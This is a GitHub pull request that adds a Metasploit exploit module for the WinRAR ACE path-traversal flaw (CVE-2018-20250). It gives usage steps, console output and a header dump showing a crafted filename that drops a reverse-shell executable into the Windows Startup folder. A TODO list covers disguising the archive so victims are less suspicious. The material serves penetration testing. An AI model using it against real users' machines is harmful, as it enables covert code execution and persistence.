Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Module for CVE-2018-20250 (RARLAB WinRAR ACE Format Input Validation Remote Code Execution) #11730

Merged
merged 3 commits into from Apr 24, 2019

Conversation

@ide0x90
Copy link
Contributor

commented Apr 15, 2019

Adds a new module for CVE-2018-20250 (RARLAB WinRAR ACE Format Input Validation Remote Code Execution) and the documentation to go along with it.

From the CVE-2018-20250 NVD Page:

In WinRAR versions prior to and including 5.61, there is a path traversal vulnerability when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination (extraction) folder is ignored, thus treating the filename as an absolute path.

This module will attempt to extract a payload to the startup folder of the current user. The vulnerabillty limits us such that we can only go back one folder. Therefore, for this exploit to work properly, the user must extract the evil RAR file from one folder within the user profile folder (e.g. Desktop, Downloads, etc.). User restart is required to gain a shell.

Vulnerable Applications

  • RARLAB WinRAR <= 5.61

Verification Steps

  1. Start msfconsole
  2. Do: use exploit/windows/fileformat/winrar_ace
  3. Do: set FILENAME [FILENAME]. Name is msf.ace by default.
  4. Optional: Do: set CUSTFILE [CUSTFILE] to use a custom payload.
  5. Optional: Do: set PAYLOAD [PAYLOAD]. windows/meterpreter/reverse_tcp by default. Skip if using a custom payload.
  6. Configure your payload if using a Metasploit-provided payload. Skip if using a custom payload.
  7. Optional: Do: set FILE_LIST [FILE_LIST] to provide a list of other files to add to the ACE archive.
  8. Do: exploit
  9. Verify that a file is created (by default in ~/.msf4/local/) and that it passes acefile.py's checks

Test with autogenerated payload, no additional files in archive

Output from Metasploit:

msf5 exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.72.1
LHOST => 172.16.72.1
msf5 exploit(windows/fileformat/winrar_ace) > exploit

[*] Payload filename: sGrBPr.exe
[+] msf.ace stored at /home/msfdev2/.msf4/local/msf.ace
msf5 exploit(windows/fileformat/winrar_ace) > 

Verify checksums using acefile:

msfdev2@automata:~$ python3 acefile.py --headers .msf4/local/msf.ace
volume
    filename    .msf4/local/msf.ace
    filesize    73972
    headers     MAIN:1 FILE:1 others:0
header
    hdr_crc     0x286b
    hdr_size    49
    hdr_type    0x00        MAIN
    hdr_flags   0x9000      ADVERT|SOLID
    magic       b'**ACE**'
    eversion    20          2.0
    cversion    20          2.0
    host        0x02        Win32
    volume      0
    datetime    0x4e561810  2019-02-22 03:00:32
    reserved1   97 4f f6 aa 00 00 00 00
    advert      b'*UNREGISTERED VERSION*'
    comment     b''
    reserved2   b''
header
    hdr_crc     0x0131
    hdr_size    113
    hdr_type    0x01        FILE32
    hdr_flags   0x8001      ADDSIZE|SOLID
    packsize    73802
    origsize    73802
    datetime    0x4e55b063  2019-02-21 22:03:06
    attribs     0x00000020  ARCHIVE
    crc32       0xab7ba1d3
    comptype    0x00        stored
    compqual    0x03        normal
    params      0x000a
    reserved1   0x4554
    filename    b'C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sGrBPr.exe'
    comment     b''
    ntsecurity  b''
    reserved2   b''
msfdev2@automata:~$ 

TODO

  • Allow user to use a file of their own choosing instead of autogenerating an EXE payload to use.
  • Allow user to add other files for realism. An ACE file with nothing but the payload is a tad suspicious
  • WinRAR parses files according to header, not by extension. Change the extension to some other thing like .rar or .zip so that flags are not immediately raised on first sight. User can specify extension when specifying filename.

Resolves #11569.

ide0x90 added 2 commits Apr 16, 2019
Updates to documentation and some comments in the module.
Update docs to reflect this change.
@bcoles

This comment has been minimized.

Copy link
Contributor

commented Apr 18, 2019

@msjenkins-r7 test this please

def create_file_header_and_data(path, is_payload, is_custom_payload)
#print_status("Length of #{path}: #{path.length}")
if is_payload and is_custom_payload
file_data = get_file_contents(path.from(72))

This comment has been minimized.

Copy link
@busterb

busterb Apr 24, 2019

Member

you can replace this with File.binread(path.from(72)), which does the exact thing as get_file_contents, then you can remove the copypasta here (exe.rb probably ought to be updated too, come to think of it :)

@busterb

This comment has been minimized.

Copy link
Member

commented Apr 24, 2019

Nice work, and good documentation. Thanks @ide0x90 !

@busterb busterb changed the title Module for CVE-2018-20250 and documentation Module for CVE-2018-20250 (RARLAB WinRAR ACE Format Input Validation Remote Code Execution) Apr 24, 2019
@busterb busterb added the docs label Apr 24, 2019
@busterb busterb self-assigned this Apr 24, 2019
@busterb

This comment has been minimized.

Copy link
Member

commented Apr 24, 2019

I'll go ahead and fix a couple of binary file read issues I saw, this worked great, nice work!

2242c1f

@busterb busterb merged commit 5212776 into rapid7:master Apr 24, 2019
3 checks passed
3 checks passed
Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details
busterb added a commit that referenced this pull request Apr 24, 2019
(RARLAB WinRAR ACE Format Input Validation Remote Code Execution)
msjenkins-r7 added a commit that referenced this pull request Apr 24, 2019
(RARLAB WinRAR ACE Format Input Validation Remote Code Execution)
@busterb

This comment has been minimized.

Copy link
Member

commented Apr 24, 2019

Release Notes

The windows/fileformat/winrar_ace exploit module has been added to the framework. This module exploits the RARLAB WinRAR ACE format input validation vulnerability (CVE-2018-20250). By exploiting a path traversal vulnerability when extracting ACE format files, the module crafts a file that causes WinRAR to extract an executable into a Windows user's profile such that it automatically runs the next time the user logs in.

@ide0x90

This comment has been minimized.

Copy link
Contributor Author

commented Apr 24, 2019

Thanks @busterb , @bcoles !

@ide0x90 ide0x90 deleted the ide0x90:winrar_ace branch Apr 24, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
5 participants
You can’t perform that action at this time.